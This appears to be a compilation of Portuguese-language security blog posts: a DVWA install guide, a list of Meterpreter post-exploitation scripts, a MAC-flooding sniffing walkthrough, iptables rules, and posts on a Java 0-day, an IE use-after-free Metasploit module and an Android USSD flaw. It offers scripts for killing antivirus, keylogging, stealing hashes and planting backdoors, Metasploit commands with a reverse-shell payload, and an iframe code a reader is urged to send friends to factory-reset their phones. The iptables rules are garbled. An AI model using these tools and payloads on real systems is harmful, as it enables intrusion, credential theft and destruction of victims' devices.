Aprenda a explorar falhas de segurança de aplicações web

Aplicações web são, hoje em dia, os alvos mais visados por hackers. Geralmente, este tipo de aplicação possui muitas falhas de segurança simples de se explorar e permitem que um spammer, por exemplo, utilize seu site para disseminar malware, spyware, phishing, etc. Por isso é muito importante que você desenvolva aplicações web seguras.

Mas, como entender estas falhas de maneira fácil? Utilizando aplicações como o “Damn Vulnerable Web App“. ODVWA é uma aplicação web que possui várias falhas de segurança para você poder explorar e entender como elas funcionam. Utilizando esta aplicação você pode atacar o servidor tranquilamente, sem medo de estar fazendo algo errado e ainda aprender a defender o seu servidor de produção.

Na versão 1.0.4 (a mais atual enquanto escrevo este texto), algumas das falhas que podem ser estudadas são:

  • SQL injection
  • XSS (Cross Site Scripting)
  • LFI (Local File Inclusion)
  • RFI (Remote File Inclusion)
  • Execução de comandos
  • Upload de scripts
  • Brute force em página de login

Uma das características mais legais desse software, na minha opinião, é a possibilidade de selecionar níveis de dificuldade. Assim, você pode fazer com que o processo de explorar as falhas do software seja mais simples ou mais complexo, de acordo com o seu conhecimento. Além disso, a aplicação é toda OpenSource: você pode analisar todo o código e verificar como os erros foram introduzidos pelo programador.

Neste artigo vou te ensinar a instalar o DVWA em uma máquina virtual CentOS Linux (mas não será nada complicado adaptar o tutorial à outras distribuições, a instalação deste software é realmente simples). Se você gosta de Windows, pode instalar a aplicação utilizando o XAMPP (esta configuração não será abordada neste artigo):http://www.apachefriends.org/pt_br/xampp-windows.html.

Obviamente, esta aplicação é cheia de falhas de segurança e não deve, em hipótese alguma, ser instalada em um servidor que permita que ela seja acessada através da Internet. Nunca se esqueça disso! Como dizem os desenvolvedores: “Damn Vulnerable Web App is damn vulnerable!”.

Preparando o ambiente: Apache, PHP e MySQL

Antes de instalar o DVWA você deve ter um ambiente LAMP funcional. Nos próximos parágrafos, vou te mostrar como.

Apache

A instalação do Apache é bem simples, basta:

# yum install httpd httpd-manual

Para instalar o servidor HTTPd e a documentação. Por padrão, o diretório onde você deve adicionar os arquivos do DVWA é o /var/www/html/algum-diretorio. O último diretório (algum-diretorio) deve ser criado por você e é opcional: serve apenas para deixar seu servidor um pouco mais organizado.

Inicialize o serviço httpd:

# service httpd start

PHP

Você pode fazer a instalação do PHP da seguinte maneira:

# yum install php php-common php-devel php-gd php-mysql

No PHP, não há configurações a serem feitas.

MySQL

A instalação do MySQL requer alguns passos adicionais, mas também é bem simples:

# yum install mysql mysql-devel mysql-server

O pacote mysql-devel na verdade não é necessário, mas eu gosto de ter todos os arquivos de desenvolvimento junto com o pacote. Mania 🙂

Se o serviço mysqld não estiver startado, faça o seguinte:

# service mysqld start

Logo após, defina uma senha de root utilizando o seguinte comando:

# /usr/bin/mysqladmin -u root password ‘senha’

Não se esqueça de colocar uma senha forte para o root. Pronto, MySQL também já está instalado e configurado. Lembre-se dessa senha, mais tarde ela será necessária durante o processo de configuração do DVWA.

Download e instalação do DVWA

Com um ambiente LAMP operacional, podemos começar a instalação do DVWA sem dores de cabeça 🙂

O download do DVWA pode ser feito em http://sourceforge.net/projects/dvwa/. É um download rápido, o arquivo tem apenas 1.4MB. Quando o download estiver finalizado, envie o arquivo para o diretório /var/www/html da máquina onde você irá instalar o aplicativo e faça o seguinte:

# cd /var/www/html
# unzip dvwa_v1.0.4.zip

Será criado um diretório chamado dvwa. Devemos entrar nele e editar o arquivo includes/config.php. Neste arquivo vamos colocar o usuário e a senha do MySQL para que seja possível criar o banco de dados para explorarmos as falhas de SQL Injection. O arquivo é bem simples, em “$user” coloque o usuário que você utiliza para acessar o BD (eu utilizei o root mesmo) e em “$password” você deve colocar a senha que configurou no item anterior.

# cd dvwa/includes
# vim config.php

Todo o resto da configuração será feito através do seu navegador. Acesse a máquina onde você instalou o DVWA através do endereço http://localhost/dvwa. Lembre-se de substituir “localhost” pelo IP da máquina onde você instalou o software. A primeira tela que você vai ver é a seguinte:

home
Para configurar o MySQL para que você possa executar ataques de SQL Injection, clique no link “SQL Injection” à esquerda e clique em “Click here…” para executar a configuração clique em “Create database” e pronto! O instalador irá fazer todo o resto automaticamente, considerando que o nome de usuário e a senha estejam corretos no arquivo /var/www/html/dvwa/includes/config.php.

conf-sql

Por padrão, o nível de segurança do DVWA está configurado para “low” (baixo). Se você quiser alterar, basta clicar em “Security Level” no menu à esquerda e selecionar o nível desejado da caixinha de seleção à direita.

Conclusão

Se você conseguiu chegar até aqui, você já terá um ambiente DVWA pronto para ser estudado. No menu à esquerda você pode selecionar qual ataque quer executar clicando em algum dos links (“Brute force”, “File inclusion”, etc). Em cada um desses links, no rodapé você encontra referências a textos explicando o que são e como explorar tais falhas (a maioria também ensina a corrigir os problemas). O único porém é que estes links são todos em inglês. Mas em português você também consegue encontrar muito material de alta qualidade, basta procurar no Google.

Espero que com isso você aprenda a desenvolver aplicações web mais seguras ou, se não é desenvolvedor, que consiga testar e ensinar ao desenvolvedor do site da sua empresa (ou algum desenvolvedor amigo seu) a codificar de forma mais segura, contribuindo assim com uma web segura e com menos perigos para todos os usuários!

Fonte:PedroPereira

Best Metasploit Meterpreter Script

Getcountermeasure

Getcountermeasure is an automated script Disable security measures such as antivirus, firewall, and more.

countermesure Best Metasploit Meterpreter Script

getgui

getgui script is used to enable RDP on a target system.

getgui Best Metasploit Meterpreter Script

Telnet

gettelnet script is used to enable telnet on the victim.

telnet Best Metasploit Meterpreter Script

Winenum

Winenum script is used to dump tokens, hashes and more

winenum Best Metasploit Meterpreter Script

winenum+1 Best Metasploit Meterpreter Script

Hostedit

Hostedit Meterpreter script is used to edit host file of windows

hostedit Best Metasploit Meterpreter Script

Getlocalsubnet

getlocalsubnet script is used to get the local subnet mask of a victim

subnet Best Metasploit Meterpreter Script

Checkvm

Checkvm used to see if you exploited a virtual machine

checkvm Best Metasploit Meterpreter Script

Killav

Killav used to disable most antivirus programs.

iiav Best Metasploit Meterpreter Script

Scraper

Scraper is an automated script that gathers the victim machine environment information

scraper Best Metasploit Meterpreter Script

Screenspy

screenspy used to take screenshot f remote pc.

screenspy Best Metasploit Meterpreter Script

Keylogrecorder

keylogrecorder used to start keylogger in victim pc.

keylogrecorder Best Metasploit Meterpreter Script

Credcollect

credcollect used collect the hashes of victim users.

cred+collect Best Metasploit Meterpreter Script

Run get_application_list used to get list of installed applications
Run netenum Network Enumerator Meterpreter Script
Run metsvc used to make permanent backdoor

Fonte:HackingArticles

CAM Table Overflow – Exploitation

É muito provável que você já tenha lido em algum lugar ou mesmo ouvido alguém falar que o switch não permite que você sniffe o tráfego que não é direcionado à sua máquina por que ele apenas envia os pacotes para as partes interessadas. Ou seja, se o tráfego não era direcionado para você, ele nunca chegará na placa de rede da sua máquina. Embora em seu funcionamento padrão o este seja o caso, existem meios de se subverter esse sistema e fazer com que o tráfego seja enviado para todas as portas do switch. Efetivamente fazendo com que o switch se comporte como um hub.

Isso acontece quando um atacante começa a enviar milhares de endereços MAC inválidos para o switch armazenar em memória. Quando essa memória se esgota, o seu switch vai começar a enviar pacotes por todas as portas. Interessante, né?

Aqui você vai aprender como isso é possível, qual ferramenta se usa para executar o ataque e também como mitigar o ataque em switches Cisco.

 

Como funciona um switch

Quando o switch foi introduzido no mercado há anos atrás, ele causou uma pequena revolução nas redes da época. Antes do switch, você tinha (entre outros) o hub. Este equipamento atua apenas na camada 1 do modelo OSI, ou seja, ele atua apenas replicando o sinal elétrico que entra em uma porta para todas as outras portas. Assim, todos os equipamentos que estão ligados ao mesmo hub receberão os pacotes enviados por uma estação mesmo que eles não sejam o destino final. Isso fazia com que apenas uma transmissão pudesse ocorrer por vez e que qualquer um pudesse facilmente sniffartodo o tráfego da rede, bastando colocar a sua interface em modo promíscuo.

Com o switch, isso mudou drasticamente. Agora, você pode ter múltiplas transmissões simultaneas desde que estas não envolvam os mesmos hosts (no caso de envolver os mesmos hosts, os pacotes serão entregues de maneira alternada) e colisões não acontecem mais. Vamos imaginar que você tenha quatro hosts ligados ao mesmo switch, como na figura abaixo:

No cenário acima, o switch é capaz de trabalhar com transmissões simultaneas entre A e B e C e D. Isso aumenta muito o desempenho da rede, diminui a chance de colisões (que minam qualquer arquitetura de rede) e também economiza recursos já que nenhum pacote da transmissão entre A e B será enviado para C ou D. Trocando em miúdos:

  • Um frame chega em uma porta do switch
  • Se for um broadcast, ele será enviado para todas as portas do switch menos para a porta onde o frame foi recebido
  • Se o frame for destinado a um único host e não se sabe em qual porta este host está conectado (ou seja, este endereço MAC não está na CAM table), o frame é enviado para todas as portas menos para a porta onde ele foi recebido
  • Se o MAC estiver na CAM table e o host não estiver conectado na mesma porta onde recebemos o frame, o frame é enviado para a porta correta

Como você viu, a CAM table tem um papel importante no switching de pacotes. Mas o que é a CAM table?

O que é a CAM table?

O exemplo acima realmente não faz juz ao switch. Switches modernos são capazes de trabalhar com milhares de conexões simultaneas sem se perder. Isso acontece por que eles mantém um “mapeamento” em sua memória dizendo para ele em qual porta um host (ou hosts) está localizado. A esta tabela damos o nome de CAM (Content Addressable Memory) table, como dito anteriormente. Para popular a CAM table, o processo é o seguinte:

  • O switch recebe o frame enviado por um host
  • O endereço MAC de origem é lido
  • Verifica-se a CAM table procurando pelo endereço presente no frame em questão. Se este endereço não for encontrado, ele é adicionado à tabela.
  • O frame é encaminhado e o mesmo processo é feito para o próximo frame na fila.

Na CAM table então, há o mapeamento de endereço MAC e porta, por exemplo:

Porta1 F0-4D-A2-E4-59-5F
Porta2 AB-52-EF-C1-CF-32
Porta3 98-E1-CB-AD-33-AA,34-AA-BB-CC-DD-23

Vale notar também que, dependendo da configuração, uma porta do switch pode corresponder a vários MACs (por exemplo, quando se cascateia switches).

Bom, você já deve ter imaginado onde nós estamos chegando. A CAM table é armazenada em um recurso finito do switch: a memória RAM. E se nós enviarmos bilhões de endereços MACs inválidos para o switch? Ele vai começar a armazenar todos na CAM table até chegar a um ponto onde o espaço em memória será esgotado. Quando chegarmos a este ponto, o switch vai passar a agir exatamente como um hub: todos os pacotes que chegam serão enviados para todas as portas, permitindo que você sniffe todo o tráfego da rede.

Este ataque se chama CAM table overflow e pode ser executado utilizando uma ferramenta bem simples chamada Macof.

Macof: a ferramenta para executar o CAM table overflow

Macof é uma ferramenta integrante do pacote “dsniff”, disponível nos repositórios oficiais da maioria das distribuições Linux mais atuais. Ele é um port em C da ferramenta original (desenvolvida em Perl) por Ian Vitek. E tem um funcionamento simples: inunda a rede com endereços MAC aleatórios, fazendo com que switches configurados erroneamente passem a se comportar como um hub e minando a segurança de uma rede pois permite que um atacante consiga facilmente sniffar o tráfego.

O Macof é bem simples de usar e tem apenas algumas opções:

  • -i <interface>: Define qual será a interface por onde serão enviados os pacotes.
  • -s <endereço IP>: Define qual será o IP de origem do pacote.
  • -d <endereço IP>: Especifica o endereço IP de destino.
  • -e <endereço MAC>: Permite que você diga qual será o endereço MAC de destino no pacote a ser gerado.
  • -x <porta>: Define a porta TCP de origem.
  • -y <porta>: Define a porta TCP de destino.
  • -n <número>: Especifica quantos pacotes serão enviados.

Se você não quiser preencher alguns (ou mesmo nenhum) dos valores da lista acima, não tem problema: o Macof vai gerar valores aleatórios para você. Por exemplo, a maneira mais simples de se executar o Macof:

E pronto, a CAM table do switch já começou a ser inundada com endereços MAC aleatórios.

Uma vez que o limite de Tabela CAM tem sido alcançado, o comutador irá iniciar inundando os pacotes de todas as portas (semelhante ao comportamento de um hub). Para aproveitar isso, lançar ettercap usando o seguinte comando:
Quote

root@nullity:~/# ettercap -C

 Once in ettercap, do the following:
  • Options   => Promiscuous
  • Sniff      => Unified -> eth2 (or whatever your active interface is)
  • Start      => Start Sniffing
  • View      => Statistics

 

Etercap começa imediatamente a sniffing para o tráfego. Se desejar, os registros podem ser definidos e armazenados como especificado. Isto é ideal para inspeção posterior, e para inspeção de tráfego que ettercap não marcar como interessante.

Se um usuário se conecta a um site a partir de outro PC na rede, os dados são vomitou todas as portas, fazendo com que todo o tráfego não-SSL suscetível a ataques de reconhecimento:

Se algum tráfego interessante ou sinalizada é identificado por ettercap, vai exibi-lo no “User Messages”  na parte inferior da tela:

Pwned!

Fonte: Link1 , Link2

Script para Checar lista de dominios para ver se estão respondendo

Suponhamos que você tenha uma lista list.txt. com 800k de domínios a serem testados, para ver se respondem.

Para isso utilize o script abaixo:

For linux:

#!/bin/bash
List=list1.txt
echo "Data e Horario:`date`" >> /tmp/arquivo`date +%d`
cat $List | while read ip
do
 ping -c3 $ip > /dev/null
 if [ $? = 0 ]; then
  echo "pingou $ip" >>  /tmp/arquivo_`date +%d`
  else
  echo "não pingou $ip" >> /tmp/arquivo_`date +%d`
 fi
done
__________________
Se quiser algo mais fácil, pode-se também usar o nmap:
nmap -sP -iL lista.txt
Rode o comando no Zenmap, pois fica mais fácil de visualizar e de gerar os reports!
Valeu galera!

Regras de segurança(contra diversos ataques) para IPTABLES

# Contra Sys-flood

iptables –A FORWARD –p tcp –m limit 1/s –j ACCEPT

# Contra ping da morte

Iptables –A FORWARD –p icmp –icmp-type echo-request –m limit –limit 1/s –j ACCEPT

# Contra o nmap

Iptables –A FORWARD –p tcp –tcp-flags SYN,ACK,FIN,RST RST –m limit –limit 1/s –j ACCEPT

# Bloquiando trecertroute

Iptables –A INPUT –p udp –s 0/0 –i eth1 –dport 33435:33525 –j DROP

#Proteçoes contra ataques

iptables –A INPUT –m state –state INVALID –j DROP

#Bloquiando um maquina pelo endereco MAC

Iptables –A INPUT –m –mac-source xx:xx:xx:xx:xx:xx -j DROP

#Proteçao contra ip spoofing

Iptables –A INPUT –s 172.16.0.0/16 –i ext_face –j DROP

Iptables –A INPUT –s 192.168.0.0/24 –i ext_face –j DROP

Iptables –A INPUT –s 192.168.0.0/24 -i ext-face -j DROP

<ext_face sao as interfaces da internet como ppp e ethX >

#Proteçao contra syn-floods

iptables –A FORWARD –p tcp –syn –m limit –limit 1/s –j ACCEPT

#Proteçao contra portscan ocultos

Iptables –A FORWARD –p tcp –tcp-flags SYN,ACK,FIN,RST RST –m limit –limit 1/s –j ACCEPT

#Bloquiando pacetes fragmentados

Iptables –A INPUT –I INTEXT –m unclean –j log_unclean

Iptables –A INPUT –f –I INTEXT –j log_fragment

<INTEXT = interface da internet >

#Anulando as respostas do icmp 8 (echo reply)

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

Java 7 Update 10 0-Day Vulnerability Exploit Demo (CVE-2013-0422)

Todo um estardalhaço foi feito graças a descoberta de sérias vulnerabilidades contra o JAVA nessa semana. Também teve o problema quanto ao Ruby, mas isso era de se esperar e vale um outro post.

Muita gente correu para remover o JAVA de seus computadores, mas esquecendo que boa parte das soluções de internet banking em nosso país são baseados nele.

Well, o vídeo abaixo demonstra uma das última, se não for a última vulnerabilidade JAVA sendo explorada:

Já estes links apontam para o download do exploit que explora estas vulnerabilidades:
Exploits:
http://pastebin.com/raw.php?i=cUG2ayjh
http://www.exploit-db.com/exploits/24045/ <- Para metasploit

Vale lembrar que não há, até o momento, correção para este problema.

Fonte:CorujadeTI

Câmera Polaroid com Android 4.1 Jelly Bean

Eu estou sempre torcendo para a Polaroid se reencontrar e voltar a ter destaque no mundo da fotografia e parece que sua nova câmera digital anunciada durante a CES 2013 em Las Vegas é um bom passo para isso.

Polaroid iM1836 Android Camera como o próprio nome já diz, vem com o sistema operacional Android 4.1 Jelly Bean e mais sensor de 18-megapixel, zoom ótico (lente 10-30mm), tela touchscreen de 3.5 polegadas com todos os controles da camêra disponíveis. A câmera tem lentes intercambiáveis como numa DSLR e conexão wi-fi com programa de compartilhamento de fotos em sites sociais e Bluetooth.

Polaroid iM1836 Android Camera deve estar disponível para compra no primeiro semestre de 2013 por US$399. Mais informações no press release.

Fonte:DigitalDrops

Execução de código arbitrário no Microsoft Internet Explorer 6, 7 e 8

Há poucos dias veio à tona, novamente, o Microsoft Internet Explorer, que por sinal temos mais de se acostumar…

A razão é que a Microsoft confirmou que uma vulnerabilidade 0-day afeta o Internet Explorer 6, 7 e 8 (versões 9 e 10 não são afetados).

O problema, a que atribuiu o CVE-2012-4792, é que acessar um objeto na memória que tenha sido removido ou que tenha sido atribuída incorretamente (user-after-free), que permite a execução de código arbitrário com os privilégios do usuário. Esta vulnerabilidade também pode permitir a elevação de privilégio e compromisso de todo o sistema.

Ataques foram detectados exploram essa vulnerabilidade, como a web http://www.cfr.org/ cometido esta semana e, até agora, a Microsoft só oferece uma solução rápida (“Fix it”) para o publicação das atualizações de patches correspondentes newsletter: http://support.microsoft.com/kb/2794220.

Também publicado um exploit no âmbito Metasploit. Acompanha os comandos e um exemplo de gráfico de sua implementação:

use exploit/windows/browser/ie_cbutton_uaf
set SRVHOST 192.168.178.26
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.26
exploit

sysinfo
getuid

Microsoft revela tecnologia feita para games chamada IllumiRoom

Quando se trata de inovação, a Microsoft é empresa que mais nos chama a atenção, principalmente nas plataformas de vídeo-game. Como se o Kinect já não bastasse, a empressa de Ballmer criou uma novatecnologiafeita especialmente para seu vídeo-game, TV e sua sala. Trata-se do IllumiRoom, uma tecnologia que promete fazer da sua sala um verdadeiro cenário para se aventurar em um game.

 

Se você ainda não entendeu, imagine você na sua sala jogando vídeo-game, Xbox 360 para ser mais específico, mas além de sua TV, haverá uma tecnologia que fará com que sua sala vire um verdadeiro cenário, pois a imagem se expandirá além da TV.

IllumiRoomMS

É como na imagem acima. A tecnologia foi apresentada durante a CES 2013 por meio de um vídeo que nos mostra como provavelmente será o IllumiRoom.

Imagem de Amostra do You Tube

Como podemos ver acima, não é usado nenhum tipo de óculos para que seja possível visualizar o que se passa na sala, o que deixa a jogabilidade mais confortável. O mais interessante é o ambiente do jogo na sua sala. Pode estar chovendo na tela, mas com o IllumiRoom, sua sala também irá “chover”. Efeitos como explosões também irão além daTV.

IllumiRoomMSS

Essa tecnologia revelada recentemente na CES 2013 nos faz pensar que a próxima geração de consoles pode estar próxima, pois o IllumiRoom pode ser usado no sucessor do Xbox 360, ou até nele mesmo como podemos ver no vídeo. Tudo é possível, mas e você leitor, o que acha disso?

Fonte:Infomaniaco

Perigosa falha para Android

Qualquer aparelho que não esteja rodando pelo menos a versão Jelly Bean pode estar vulnerável. O estrago depende do modelo do aparelho, sendo que a falha mais grave foi apontada em alguns aparelhos Samsung, onde o exploit consegue formatar o aparelho e inutilizar o cartão SIM sem que o usuário possa fazer nada.

O exploit consiste em enviar um URL malicioso para o aparelho da vítima. Pode ser o resultado de uma busca no google, um email, um SMS, um QR code, etc. Qualquer forma de exibir um URL para o usuário funciona. Se o usuário clicar no URL e o aparelho for vulnerável, acabou-se.

O URL vem com um código USSD, desses que a gente usa para acessar opções avançadas do telefone e funciona discando algo como *#66445#*.  O problema é que alguns desses códigos podem ferrar com o telefone e são “discados” sem qualquer pergunta nos telefones vulneráveis.

Você pode testar se seu telefone é vulnerável visitando esta página com ele. O autor do blog, Dylan Reeve, demonstra o problema usando um código USSD inócuo, que só mostra o IMEI do telefone na tela. Eu testei com meu xing-ling Android, Hero H200, e imediatamente ao visitar a página abriu-se o discador e uma janela na frente dele com os dois IMEI do meu telefone. Nenhuma confirmação foi pedida.

A implementação é simples, ao alcance de qualquer “ráquer” wannabe. Bastou colocar isso na página:

<iframe src=”tel:*%2306%23″ />

Quer fazer um teste? Leia este qrcode:

 

 

 

 

 

 

Beleza, ele só mostra o IMEI. e se no lugar do IMEI, eu colocasse um FACTORY RESET?
PERIGO! NÃO FAÇAM ISSO! Se quiser testar o factory reset, leia o QR CODE Abaixo:

QRCode

 

 

 

 

 

 

 

Se quiser sacanear algum amigo, mande esse qrcode ai pra ele! hehehe.. Se ele não tiver um Jelly bean instalado, a amizade vai acabar hehehe.. Cuidado com os QRCODES que voces andam lendo por ai!

Proteção: no momento, a melhor maneira de se proteger é usar o auto-reset blocker. Apesar do nome, o programa ajuda a te proteger de qualquer código USSD malicioso, vindo por qualquer vetor. Ele se instala como um discador e quando o sistema processar um link de telefone, irá abrir uma janela perguntando que discador usar. Escolha o auto-reset blocker. O programa então exibirá qual o número que vai ser discado, dando sua opinião sobre o mesmo (se é seguro ou não), mas deixará por sua conta se vai aceitar ou não a discagem. OBS:  Telstop faz a mesma coisa!